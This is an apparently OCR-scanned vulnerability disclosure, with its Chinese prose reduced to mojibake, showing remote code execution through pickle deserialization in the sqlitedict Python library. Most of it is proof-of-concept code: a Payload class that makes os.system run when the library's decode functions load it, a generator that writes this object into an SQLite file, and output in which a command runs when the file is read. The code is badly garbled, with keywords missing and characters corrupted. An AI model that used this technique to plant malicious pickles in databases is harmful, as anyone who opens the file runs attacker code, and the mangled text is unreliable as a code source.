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Ak A0 pip T {0 kAT disqlitedict library (version 2.1.0)&
7 P3# > github repo : https://github. com/piskvorky/sqlitedict/
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an object using pickle to a binary format accepted by SQLite.
sqlltea Binary(dumps(obj, protocol=PICKLE_PROTOCOL))

(obj):
"""Deserialize objects retrieved from SQlLite.
loads(bytes(obj))

(key):
Serialize a key using pickle + base64 encoding to text accepted by SQLite.
b6s4encode(dumps(key, protocol=PICKLE_PROTOCOL)).decode("ascii")

(key):
Deserialize a key retrieved from SQLite.
loads(b64decode(key.encode("ascii”)))

iz3k & ePoC ( test.py )¢

decode, decode_key
pickle, baseé64
os

( , cmd):
.cmd=cmd
( ):
os
os.system, ( .cmd, )
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13 payloadl = pickle.dumps(Payload('echo "decode pwned" >> proof.txt'))
14 decode(payloadl)
15
16 payload2 = base64.b64encode(pickle.dumps(Payload( 'echo "decode_key pwned" >> proof.txt'))).decode()
17 decode_key(payload2)
18
19 f=open( 'proof.txt', 'r')
("Content of proof.txt:")
(f.read())
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https://github.com/piskvorky/sqlitedict/

python3 test.py
Content of proof.txt:
decode pwned
decode_key pwned

SqliteDict iz ® class ¥ sriteritems, iterkeys, itervalues &:#ci/ %
__getitem_ = 2353 # * I decode & decode_key iz B 3% @ items,
keys, values* 7 # * | } it endnfic » ¥R library &3 B sqlite # %
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):
GET_KEYS = 'SELECT key FRO ORDER BY rowid' % .tablename
key .conn.select(GET_KEYS):
.decode_key(key[2])

B
GET_VALUES = 'SELECT value FROI ORDER BY rowid' % .tablename
value .conn.select(GET_VALUES):
.decode(value[2])

):
GET_ITEMS = 'SELECT key, value FROM ORDER BY rowid' % .tablename
key, value .conn.select(GET_ITEMS):
.decode_key(key), .decode(value)

):
.iterkeys())|

):

.itervalue

.iteritems()

(self, key):
HAS_ITEM = 'SELECT 1 FRO WHERE key = ?" % .tablename
.conn.select_ HAS_ITEM, ( .encode_key(key),))

( , key):
GET_ITEM = 'SELECT value FROM WHERE key = ?' % .tablename
item = .conn.select_one(GET_ITEM, ( .encode_key(key),))
item B
(key)
.decode(item[0])




poc_generator. py

SqliteDict, encode, decode, decode_key
pickle
base64
os

( , cmd):
.cmd=cmd
)8
10 os

11 os.system, ( .cmd, )

12

13 payload = Payload('echo "pwned by whalel20" > proof.txt')
14db = SqliteDict("example.sqlite")

15db["1"] = {"name":"whalel20"}

16db["2"] = payload

17 db.commit()

18 db.close()

1
2
3
4
5
6
7
8
9

¥4 PoC 24 & 71 # mid & RCE chexample. sqlite

poc_open_sql. py

1 SqliteDict
2db=SqliteDict('example.sqlite')

3 key, item db.items():

4 ("%s=%s" % (key, item))
5

6 f=open('proof.txt', 'r')

7 ('Content of proof.txt:')

8 (f.read())

9

izt PoC* M kK] & L ehexample. sqlite #hZ L 2 BT P AR
RCE #proof. txt % %

PoC e 7 55 % -

[:—( DSE T )-[~/temp/sqlite-dict]
python3 poc_generator.py

[:—( S )-[~/temp/sqlite-dict]

python3 poc_open_sql.py
1={'name': 'whalel20'}
2=0
Content of proof.txt:
pwned by whalel20
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